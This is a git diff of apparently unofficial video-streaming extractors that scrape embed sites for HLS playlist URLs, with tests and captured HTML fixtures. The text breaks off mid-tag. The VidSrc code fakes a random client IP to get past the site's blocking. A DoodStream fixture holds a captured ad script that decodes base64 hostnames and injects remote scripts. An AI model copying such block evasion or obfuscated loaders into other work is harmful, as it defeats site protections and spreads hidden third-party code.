||||||
|
|
||||||
const fetcher = new Fetcher(winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] }));
|
|
||||||
const vidSrc = new VidSrc(fetcher, ['vidsrc-embed.ru', 'vidsrc-embed.su']);
|
|
||||||
|
|
||||||
expect(await vidSrc.extract(ctx, new URL('https://vidsrc-embed.ru/embed/movie/fake2'), {})).toMatchSnapshot();
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,6 @@
|
||||||
import * as cheerio from 'cheerio';
|
import * as cheerio from 'cheerio';
|
||||||
import slugify from 'slugify';
|
|
||||||
import { BlockedError, TooManyRequestsError } from '../error';
|
import { BlockedError, TooManyRequestsError } from '../error';
|
||||||
import { Context, Format, Meta, NonEmptyArray, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta, NonEmptyArray } from '../types';
|
||||||
import { Fetcher, guessHeightFromPlaylist } from '../utils';
|
import { Fetcher, guessHeightFromPlaylist } from '../utils';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
|
|
@ -24,7 +23,7 @@ export class VidSrc extends Extractor {
|
||||||
return null !== url.host.match(/vidsrc|vsrc/);
|
return null !== url.host.match(/vidsrc|vsrc/);
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
// While this is a crappy thing to do, they seem to be blocking overly strict IMO
|
// While this is a crappy thing to do, they seem to be blocking overly strict IMO
|
||||||
const randomIp = `${Math.floor(Math.random() * 223) + 1}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}`;
|
const randomIp = `${Math.floor(Math.random() * 223) + 1}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}`;
|
||||||
const newCtx = { ...ctx, ip: randomIp };
|
const newCtx = { ...ctx, ip: randomIp };
|
||||||
|
|
@ -32,7 +31,7 @@ export class VidSrc extends Extractor {
|
||||||
return this.extractUsingRandomDomain(newCtx, url, meta, [...this.domains]);
|
return this.extractUsingRandomDomain(newCtx, url, meta, [...this.domains]);
|
||||||
};
|
};
|
||||||
|
|
||||||
private async extractUsingRandomDomain(ctx: Context, url: URL, meta: Meta, domains: string[]): Promise<UrlResult[]> {
|
private async extractUsingRandomDomain(ctx: Context, url: URL, meta: Meta, domains: string[]): Promise<InternalUrlResult[]> {
|
||||||
const domainIndex = Math.floor(Math.random() * domains.length);
|
const domainIndex = Math.floor(Math.random() * domains.length);
|
||||||
const [domain] = domains.splice(domainIndex, 1) as [string];
|
const [domain] = domains.splice(domainIndex, 1) as [string];
|
||||||
|
|
||||||
|
|
@ -43,14 +42,16 @@ export class VidSrc extends Extractor {
|
||||||
try {
|
try {
|
||||||
html = await this.fetcher.text(ctx, newUrl, { queueLimit: 1 });
|
html = await this.fetcher.text(ctx, newUrl, { queueLimit: 1 });
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
|
/* istanbul ignore next */
|
||||||
if (domains.length && (error instanceof TooManyRequestsError || error instanceof BlockedError)) {
|
if (domains.length && (error instanceof TooManyRequestsError || error instanceof BlockedError)) {
|
||||||
return this.extractUsingRandomDomain(ctx, url, meta, domains);
|
return this.extractUsingRandomDomain(ctx, url, meta, domains);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* istanbul ignore next */
|
||||||
throw error;
|
throw error;
|
||||||
}
|
}
|
||||||
|
|
||||||
const $ = cheerio.load(html);
|
const $ = cheerio.load(html.replace('<!--', '').replace('-->', '')); // server HTML is commented-out
|
||||||
|
|
||||||
const iframeUrl = new URL(($('#player_iframe').attr('src') as string).replace(/^\/\//, 'https://'));
|
const iframeUrl = new URL(($('#player_iframe').attr('src') as string).replace(/^\/\//, 'https://'));
|
||||||
const title = $('title').text().trim();
|
const title = $('title').text().trim();
|
||||||
|
|
@ -66,18 +67,16 @@ export class VidSrc extends Extractor {
|
||||||
const srcMatch = iframeHtml.match(`src:\\s?'(.*)'`) as string[];
|
const srcMatch = iframeHtml.match(`src:\\s?'(.*)'`) as string[];
|
||||||
|
|
||||||
const playerHtml = await this.fetcher.text(ctx, new URL(srcMatch[1] as string, iframeUrl.origin), { headers: { Referer: rcpUrl.href } });
|
const playerHtml = await this.fetcher.text(ctx, new URL(srcMatch[1] as string, iframeUrl.origin), { headers: { Referer: rcpUrl.href } });
|
||||||
const fileMatch = playerHtml.match(`file:\\s?'(.*)'`) as string[];
|
const fileMatch = playerHtml.match(`(https:\\/\\/.*?{v\\d}.*?) or`) as string[];
|
||||||
const m3u8Url = new URL(fileMatch[1] as string);
|
const m3u8Url = new URL((fileMatch[1] as string).replace(/{v\d}/, iframeUrl.host));
|
||||||
|
|
||||||
return {
|
return {
|
||||||
url: m3u8Url,
|
url: m3u8Url,
|
||||||
format: Format.hls,
|
format: Format.hls,
|
||||||
label: serverName,
|
label: serverName,
|
||||||
sourceId: `${this.id}_${slugify(serverName)}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
height: await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, url, { headers: { Referer: iframeUrl.href } }),
|
height: await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers: { Referer: iframeUrl.href } }),
|
||||||
title,
|
title,
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
|
|
|
||||||
20
src/extractor/Vidora.test.ts
Normal file
20
src/extractor/Vidora.test.ts
Normal file
|
|
@ -0,0 +1,20 @@
|
||||||
|
import winston from 'winston';
|
||||||
|
import { createTestContext } from '../test';
|
||||||
|
import { FetcherMock } from '../utils';
|
||||||
|
import { ExtractorRegistry } from './ExtractorRegistry';
|
||||||
|
import { Vidora } from './Vidora';
|
||||||
|
|
||||||
|
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
||||||
|
const extractorRegistry = new ExtractorRegistry(logger, [new Vidora(new FetcherMock(`${__dirname}/__fixtures__/Vidora`))]);
|
||||||
|
|
||||||
|
const ctx = createTestContext();
|
||||||
|
|
||||||
|
describe('Vidora', () => {
|
||||||
|
test('vidora.stream', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://vidora.stream/5iz6c1elaqgq'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('vidora.stream /embed/', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://vidora.stream/embed/5iz6c1elaqgq'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
|
});
|
||||||
43
src/extractor/Vidora.ts
Normal file
43
src/extractor/Vidora.ts
Normal file
|
|
@ -0,0 +1,43 @@
|
||||||
|
import * as cheerio from 'cheerio';
|
||||||
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
|
import { extractUrlFromPacked, guessHeightFromPlaylist } from '../utils';
|
||||||
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
|
export class Vidora extends Extractor {
|
||||||
|
public readonly id = 'vidora';
|
||||||
|
|
||||||
|
public readonly label = 'Vidora';
|
||||||
|
|
||||||
|
public override readonly ttl: number = 43200000; // 12h
|
||||||
|
|
||||||
|
public supports(_ctx: Context, url: URL): boolean {
|
||||||
|
return null !== url.host.match(/vidora/);
|
||||||
|
}
|
||||||
|
|
||||||
|
public override normalize(url: URL): URL {
|
||||||
|
return new URL(url.href.replace('/embed/', '/'));
|
||||||
|
}
|
||||||
|
|
||||||
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
|
const html = await this.fetcher.text(ctx, url);
|
||||||
|
|
||||||
|
const $ = cheerio.load(html);
|
||||||
|
const title = $('title').text().trim().replace(/^Watch /, '').trim();
|
||||||
|
|
||||||
|
const m3u8Url = extractUrlFromPacked(html, [/file: ?"(.*?)"/]);
|
||||||
|
const headers = { Origin: url.origin };
|
||||||
|
|
||||||
|
return [
|
||||||
|
{
|
||||||
|
url: m3u8Url,
|
||||||
|
format: Format.hls,
|
||||||
|
meta: {
|
||||||
|
...meta,
|
||||||
|
height: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers }),
|
||||||
|
title,
|
||||||
|
},
|
||||||
|
requestHeaders: headers,
|
||||||
|
},
|
||||||
|
];
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
@ -7,7 +7,7 @@ import { VixSrc } from './VixSrc';
|
||||||
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
||||||
const extractorRegistry = new ExtractorRegistry(logger, [new VixSrc(new FetcherMock(`${__dirname}/__fixtures__/VixSrc`))]);
|
const extractorRegistry = new ExtractorRegistry(logger, [new VixSrc(new FetcherMock(`${__dirname}/__fixtures__/VixSrc`))]);
|
||||||
|
|
||||||
const ctx = createTestContext({ de: 'on', en: 'on', it: 'on' });
|
const ctx = createTestContext();
|
||||||
|
|
||||||
describe('VixSrc', () => {
|
describe('VixSrc', () => {
|
||||||
test('Full Metal Jacket', async () => {
|
test('Full Metal Jacket', async () => {
|
||||||
|
|
@ -18,6 +18,10 @@ describe('VixSrc', () => {
|
||||||
expect(await extractorRegistry.handle(ctx, new URL('https://vixsrc.to/tv/42009/4/2'))).toMatchSnapshot();
|
expect(await extractorRegistry.handle(ctx, new URL('https://vixsrc.to/tv/42009/4/2'))).toMatchSnapshot();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test('Rental Family', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://vixsrc.to/movie/1208348'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
|
|
||||||
test('Black Mirror is excluded if no matching language was found', async () => {
|
test('Black Mirror is excluded if no matching language was found', async () => {
|
||||||
const ctx = createTestContext({ de: 'on' });
|
const ctx = createTestContext({ de: 'on' });
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,9 +1,5 @@
|
||||||
import { Context, CountryCode, Format, Meta, UrlResult } from '../types';
|
import { Context, CountryCode, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import {
|
import { CustomRequestConfig, guessHeightFromPlaylist, hasMultiEnabled, iso639FromCountryCode } from '../utils';
|
||||||
CustomRequestInit,
|
|
||||||
guessHeightFromPlaylist, hasMultiEnabled,
|
|
||||||
iso639FromCountryCode,
|
|
||||||
} from '../utils';
|
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
export class VixSrc extends Extractor {
|
export class VixSrc extends Extractor {
|
||||||
|
|
@ -17,7 +13,7 @@ export class VixSrc extends Extractor {
|
||||||
return null !== url.host.match(/vixsrc/);
|
return null !== url.host.match(/vixsrc/);
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: url.href };
|
const headers = { Referer: url.href };
|
||||||
|
|
||||||
const html = await this.fetcher.text(ctx, url);
|
const html = await this.fetcher.text(ctx, url);
|
||||||
|
|
@ -32,7 +28,7 @@ export class VixSrc extends Extractor {
|
||||||
playlistUrl.searchParams.append('expires', expiresMatch[1] as string);
|
playlistUrl.searchParams.append('expires', expiresMatch[1] as string);
|
||||||
playlistUrl.searchParams.append('h', '1');
|
playlistUrl.searchParams.append('h', '1');
|
||||||
|
|
||||||
const countryCodes = await this.determineCountryCodesFromPlaylist(ctx, playlistUrl, { headers });
|
const countryCodes = meta.countryCodes ?? [CountryCode.multi, ...(await this.determineCountryCodesFromPlaylist(ctx, playlistUrl, { headers }))];
|
||||||
|
|
||||||
if (!hasMultiEnabled(ctx.config) && !countryCodes.some(countryCode => countryCode in ctx.config)) {
|
if (!hasMultiEnabled(ctx.config) && !countryCodes.some(countryCode => countryCode in ctx.config)) {
|
||||||
return [];
|
return [];
|
||||||
|
|
@ -42,21 +38,19 @@ export class VixSrc extends Extractor {
|
||||||
{
|
{
|
||||||
url: playlistUrl,
|
url: playlistUrl,
|
||||||
format: Format.hls,
|
format: Format.hls,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
|
...meta,
|
||||||
countryCodes,
|
countryCodes,
|
||||||
height: await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl, url, { headers }),
|
height: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl, { headers }),
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
};
|
};
|
||||||
|
|
||||||
private async determineCountryCodesFromPlaylist(ctx: Context, playlistUrl: URL, init?: CustomRequestInit): Promise<CountryCode[]> {
|
private async determineCountryCodesFromPlaylist(ctx: Context, playlistUrl: URL, init?: CustomRequestConfig): Promise<CountryCode[]> {
|
||||||
const playlist = await this.fetcher.text(ctx, playlistUrl, init);
|
const playlist = await this.fetcher.text(ctx, playlistUrl, init);
|
||||||
|
|
||||||
const countryCodes: CountryCode[] = [CountryCode.it];
|
const countryCodes: CountryCode[] = [];
|
||||||
|
|
||||||
(Object.keys(CountryCode) as CountryCode[]).forEach((countryCode) => {
|
(Object.keys(CountryCode) as CountryCode[]).forEach((countryCode) => {
|
||||||
const iso639 = iso639FromCountryCode(countryCode);
|
const iso639 = iso639FromCountryCode(countryCode);
|
||||||
|
|
|
||||||
|
|
@ -21,4 +21,8 @@ describe('Voe', () => {
|
||||||
test('encoding error', async () => {
|
test('encoding error', async () => {
|
||||||
expect(await extractorRegistry.handle(ctx, new URL('https://voe.sx/e/c2yxvit4f6bz'))).toMatchSnapshot();
|
expect(await extractorRegistry.handle(ctx, new URL('https://voe.sx/e/c2yxvit4f6bz'))).toMatchSnapshot();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test('embed only urls which otherwise lead to 404', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://mikaylaarealike.com/e/gqlhm9hbobwu'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -1,9 +1,9 @@
|
||||||
import bytes from 'bytes';
|
import bytes from 'bytes';
|
||||||
import * as cheerio from 'cheerio';
|
import * as cheerio from 'cheerio';
|
||||||
import { NotFoundError } from '../error';
|
import { NotFoundError } from '../error';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import {
|
import {
|
||||||
buildMediaFlowProxyExtractorStreamUrl,
|
buildMediaFlowProxyExtractorStreamUrl, guessHeightFromPlaylist,
|
||||||
supportsMediaFlowProxy,
|
supportsMediaFlowProxy,
|
||||||
} from '../utils';
|
} from '../utils';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
@ -12,7 +12,7 @@ import { Extractor } from './Extractor';
|
||||||
export class Voe extends Extractor {
|
export class Voe extends Extractor {
|
||||||
public readonly id = 'voe';
|
public readonly id = 'voe';
|
||||||
|
|
||||||
public readonly label = 'VOE (via MediaFlow Proxy)';
|
public readonly label = 'VOE';
|
||||||
|
|
||||||
public override viaMediaFlowProxy = true;
|
public override viaMediaFlowProxy = true;
|
||||||
|
|
||||||
|
|
@ -37,11 +37,13 @@ export class Voe extends Extractor {
|
||||||
'bradleyviewdoctor.com',
|
'bradleyviewdoctor.com',
|
||||||
'brittneystandardwestern.com',
|
'brittneystandardwestern.com',
|
||||||
'brucevotewithin.com',
|
'brucevotewithin.com',
|
||||||
|
'christopheruntilpoint.com',
|
||||||
'chromotypic.com',
|
'chromotypic.com',
|
||||||
'chuckle-tube.com',
|
'chuckle-tube.com',
|
||||||
'cindyeyefinal.com',
|
'cindyeyefinal.com',
|
||||||
'counterclockwisejacky.com',
|
'counterclockwisejacky.com',
|
||||||
'crownmakermacaronicism.com',
|
'crownmakermacaronicism.com',
|
||||||
|
'crystaltreatmenteast.com',
|
||||||
'cyamidpulverulence530.com',
|
'cyamidpulverulence530.com',
|
||||||
'diananatureforeign.com',
|
'diananatureforeign.com',
|
||||||
'donaldlineelse.com',
|
'donaldlineelse.com',
|
||||||
|
|
@ -70,8 +72,11 @@ export class Voe extends Extractor {
|
||||||
'kathleenmemberhistory.com',
|
'kathleenmemberhistory.com',
|
||||||
'kellywhatcould.com',
|
'kellywhatcould.com',
|
||||||
'kennethofficialitem.com',
|
'kennethofficialitem.com',
|
||||||
|
'kinoger.ru',
|
||||||
'kristiesoundsimply.com',
|
'kristiesoundsimply.com',
|
||||||
|
'lancewhosedifficult.com',
|
||||||
'launchreliantcleaverriver.com',
|
'launchreliantcleaverriver.com',
|
||||||
|
'lauradaydo.com',
|
||||||
'lisatrialidea.com',
|
'lisatrialidea.com',
|
||||||
'loriwithinfamily.com',
|
'loriwithinfamily.com',
|
||||||
'lukecomparetwo.com',
|
'lukecomparetwo.com',
|
||||||
|
|
@ -81,6 +86,7 @@ export class Voe extends Extractor {
|
||||||
'maxfinishseveral.com',
|
'maxfinishseveral.com',
|
||||||
'metagnathtuggers.com',
|
'metagnathtuggers.com',
|
||||||
'michaelapplysome.com',
|
'michaelapplysome.com',
|
||||||
|
'mikaylaarealike.com',
|
||||||
'nathanfromsubject.com',
|
'nathanfromsubject.com',
|
||||||
'nectareousoverelate.com',
|
'nectareousoverelate.com',
|
||||||
'nonesnanking.com',
|
'nonesnanking.com',
|
||||||
|
|
@ -98,6 +104,7 @@ export class Voe extends Extractor {
|
||||||
'sethniceletter.com',
|
'sethniceletter.com',
|
||||||
'shannonpersonalcost.com',
|
'shannonpersonalcost.com',
|
||||||
'simpulumlamerop.com',
|
'simpulumlamerop.com',
|
||||||
|
'smoki.cc',
|
||||||
'stevenimaginelittle.com',
|
'stevenimaginelittle.com',
|
||||||
'strawberriesporail.com',
|
'strawberriesporail.com',
|
||||||
'telyn610zoanthropy.com',
|
'telyn610zoanthropy.com',
|
||||||
|
|
@ -107,6 +114,7 @@ export class Voe extends Extractor {
|
||||||
'uptodatefinishconferenceroom.com',
|
'uptodatefinishconferenceroom.com',
|
||||||
'v-o-e-unblock.com',
|
'v-o-e-unblock.com',
|
||||||
'valeronevijao.com',
|
'valeronevijao.com',
|
||||||
|
'walterprettytheir.com',
|
||||||
'wolfdyslectic.com',
|
'wolfdyslectic.com',
|
||||||
'yodelswartlike.com',
|
'yodelswartlike.com',
|
||||||
].includes(url.host);
|
].includes(url.host);
|
||||||
|
|
@ -115,13 +123,24 @@ export class Voe extends Extractor {
|
||||||
}
|
}
|
||||||
|
|
||||||
public override normalize(url: URL): URL {
|
public override normalize(url: URL): URL {
|
||||||
return new URL(`/${url.pathname.split('/').at(-1)}`, url);
|
return new URL(`/${url.pathname.replace(/\/+$/, '').split('/').at(-1)}`, url);
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: meta.referer ?? url.href };
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
const html = await this.fetcher.text(ctx, url, { headers });
|
let html: string;
|
||||||
|
try {
|
||||||
|
html = await this.fetcher.text(ctx, url, { headers });
|
||||||
|
} catch (error) {
|
||||||
|
/* istanbul ignore next */
|
||||||
|
if (error instanceof NotFoundError && !url.href.includes('/e/')) {
|
||||||
|
return await this.extractInternal(ctx, new URL(`/e${url.pathname}`, url.origin), meta);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* istanbul ignore next */
|
||||||
|
throw error;
|
||||||
|
}
|
||||||
|
|
||||||
const redirectMatch = html.match(/window\.location\.href\s*=\s*'([^']+)/);
|
const redirectMatch = html.match(/window\.location\.href\s*=\s*'([^']+)/);
|
||||||
if (redirectMatch && redirectMatch[1]) {
|
if (redirectMatch && redirectMatch[1]) {
|
||||||
|
|
@ -136,22 +155,24 @@ export class Voe extends Extractor {
|
||||||
const title = $('meta[name="description"]').attr('content')?.trim().replace(/^Watch /, '').replace(/ at VOE$/, '').trim();
|
const title = $('meta[name="description"]').attr('content')?.trim().replace(/^Watch /, '').replace(/ at VOE$/, '').trim();
|
||||||
|
|
||||||
const sizeMatch = html.matchAll(/[\d.]+ ?[GM]B/g).toArray().at(-1);
|
const sizeMatch = html.matchAll(/[\d.]+ ?[GM]B/g).toArray().at(-1);
|
||||||
const heightMatch = html.match(/<b>(\d{3,})p<\/b>/);
|
const size = sizeMatch ? bytes.parse(sizeMatch[0] as string) as number : /* istanbul ignore next */null;
|
||||||
|
|
||||||
const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'Voe', url, headers);
|
const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'Voe', url, headers);
|
||||||
|
|
||||||
|
const heightMatch = html.match(/<b>(\d{3,})p<\/b>/);
|
||||||
|
const height = heightMatch
|
||||||
|
? parseInt(heightMatch[1] as string)
|
||||||
|
: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl);
|
||||||
|
|
||||||
return [
|
return [
|
||||||
{
|
{
|
||||||
url: playlistUrl,
|
url: playlistUrl,
|
||||||
format: Format.hls,
|
format: Format.hls,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
|
height,
|
||||||
title,
|
title,
|
||||||
...(sizeMatch && { bytes: bytes.parse(sizeMatch[0] as string) as number }),
|
...(size && size > 16777216 && { bytes: size }),
|
||||||
...(heightMatch && { height: parseInt(heightMatch[1] as string) }),
|
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
|
|
|
||||||
|
|
@ -1,4 +1,4 @@
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
export class YouTube extends Extractor {
|
export class YouTube extends Extractor {
|
||||||
|
|
@ -12,7 +12,7 @@ export class YouTube extends Extractor {
|
||||||
return null !== url.host.match(/youtube/) && url.searchParams.has('v');
|
return null !== url.host.match(/youtube/) && url.searchParams.has('v');
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: meta.referer ?? url.href };
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
const html = await this.fetcher.text(ctx, url, { headers });
|
const html = await this.fetcher.text(ctx, url, { headers });
|
||||||
|
|
@ -24,9 +24,6 @@ export class YouTube extends Extractor {
|
||||||
url,
|
url,
|
||||||
format: Format.unknown,
|
format: Format.unknown,
|
||||||
ytId: url.searchParams.get('v') as string,
|
ytId: url.searchParams.get('v') as string,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
title: titleMatch[1] as string,
|
title: titleMatch[1] as string,
|
||||||
|
|
|
||||||
|
|
@ -1 +0,0 @@
|
||||||
{"server":"nginx","date":"Sun, 08 Jun 2025 19:20:59 GMT","content-type":"video/mp4","content-length":791702409,"last-modified":"Wed, 03 Apr 2024 09:53:31 GMT","connection":"keep-alive","etag":"660d271b-2f306b89","access-control-allow-origin":"*","accept-ranges":"bytes"}
|
|
||||||
|
|
@ -1 +0,0 @@
|
||||||
{}
|
|
||||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
|
@ -1 +1,2 @@
|
||||||
<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title>Video not found | DoodStream</title> <link rel="preconnect" href="//i.doodcdn.io"><link rel="preconnect" href="//cdnjs.cloudflare.com"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="//i.doodcdn.io/theme_2/css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="//i.doodcdn.io/theme_2/css/style.css" /></head><body> <style type="text/css"> .not_found img {height:250px !important;} @media (max-width: 768px){.not_found h1{font-size:1.8rem;}.not_found img {height:200px !important;margin: 0 auto 15px;}} @media (max-width: 480px){.not_found h1{font-size:1.4rem;}.not_found img {height:120px !important;margin: 0 auto 15px;}.not_found p{margin-top: -5px;}} </style> <div class="container pt-5 not_found"> <div class="row"> <div class="col-md-12 pt-2 text-center"> <img src="//i.doodcdn.io/img/no_video_3.svg"> <h1>Not Found</h1> <p>video you are looking for is not found.</p> </div> </div> </div><script data-cfasync="false" src="//d1f05vr3sjsuy7.cloudfront.net/?srvfd=908056"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/gHzOaAdOhbZ/71405"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/r67c0fc81985e5/70849"></script><script type="text/javascript" data-cfasync="false">/*<![CDATA[/* */(function(){var g=window,r="ca0967284e67bc53cb5b626985619403",w=[["siteId",317+185*82*507-3600486],["minBid",0],["popundersPerIP","0"],["delayBetween",300],["default","https://strettechoco.com/iYa7dlULceKw/27615"],["defaultPerDay",0],["topmostLayer","never"]],n=["d3d3LmJsb2NrYWRzbm90LmNvbS9iYWphLm1pbi5jc3M=","ZG5oZmk1bm4yZHQ2Ny5jbG91ZGZyb250Lm5ldC9RVHd0eC91YWxnZWJyYS5taW4uanM=","d3d3LmJibHZwbGd1b21hLmNvbS9mYWphLm1pbi5jc3M=","d3d3LndqZ3BzcGt4empiZGd1LmNvbS9NTmlIWS9rYWxnZWJyYS5taW4uanM="],f=-1,v,q,h=function(){clearTimeout(q);f++;if(n[f]&&!(1766620801000<(new Date).getTime()&&1<f)){v=g.document.createElement("script");v.type="text/javascript";v.async=!0;var o=g.document.getElementsByTagName("script")[0];v.src="https://"+atob(n[f]);v.crossOrigin="anonymous";v.onerror=h;v.onload=function(){clearTimeout(q);g[r.slice(0,16)+r.slice(0,16)]||h()};q=setTimeout(h,5E3);o.parentNode.insertBefore(v,o)}};if(!g[r]){try{Object.freeze(g[r]=w)}catch(e){}h()}})();/*]]>/* */</script></body></html>
|
<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title>Video not found | DoodStream</title> <link rel="preconnect" href="//i.doodcdn.io"><link rel="preconnect" href="//cdnjs.cloudflare.com"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="//i.doodcdn.io/theme_2/css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="//i.doodcdn.io/theme_2/css/style.css" /></head><body> <style type="text/css"> .not_found img {height:250px !important;} @media (max-width: 768px){.not_found h1{font-size:1.8rem;}.not_found img {height:200px !important;margin: 0 auto 15px;}} @media (max-width: 480px){.not_found h1{font-size:1.4rem;}.not_found img {height:120px !important;margin: 0 auto 15px;}.not_found p{margin-top: -5px;}} </style> <div class="container pt-5 not_found"> <div class="row"> <div class="col-md-12 pt-2 text-center"> <img src="//i.doodcdn.io/img/no_video_3.svg"> <h1>Not Found</h1> <p>video you are looking for is not found.</p> </div> </div> </div><script data-cfasync="false" src="//d1f05vr3sjsuy7.cloudfront.net/?srvfd=908056"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/gHzOaAdOhbZ/71405"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/r67c0fc81985e5/70849"></script><script type="text/javascript" data-cfasync="false">/*<![CDATA[/* */(function(){var g=window,r="ca0967284e67bc53cb5b626985619403",w=[["siteId",317+185*82*507-3600486],["minBid",0],["popundersPerIP","0"],["delayBetween",300],["default","https://strettechoco.com/iYa7dlULceKw/27615"],["defaultPerDay",0],["topmostLayer","never"]],n=["d3d3LmJsb2NrYWRzbm90LmNvbS9iYWphLm1pbi5jc3M=","ZG5oZmk1bm4yZHQ2Ny5jbG91ZGZyb250Lm5ldC9RVHd0eC91YWxnZWJyYS5taW4uanM=","d3d3LmJibHZwbGd1b21hLmNvbS9mYWphLm1pbi5jc3M=","d3d3LndqZ3BzcGt4empiZGd1LmNvbS9NTmlIWS9rYWxnZWJyYS5taW4uanM="],f=-1,v,q,h=function(){clearTimeout(q);f++;if(n[f]&&!(1766620801000<(new Date).getTime()&&1<f)){v=g.document.createElement("script");v.type="text/javascript";v.async=!0;var o=g.document.getElementsByTagName("script")[0];v.src="https://"+atob(n[f]);v.crossOrigin="anonymous";v.onerror=h;v.onload=function(){clearTimeout(q);g[r.slice(0,16)+r.slice(0,16)]||h()};q=setTimeout(h,5E3);o.parentNode.insertBefore(v,o)}};if(!g[r]){try{Object.freeze(g[r]=w)}catch(e){}h()}})();/*]]>/* */</script><script defer 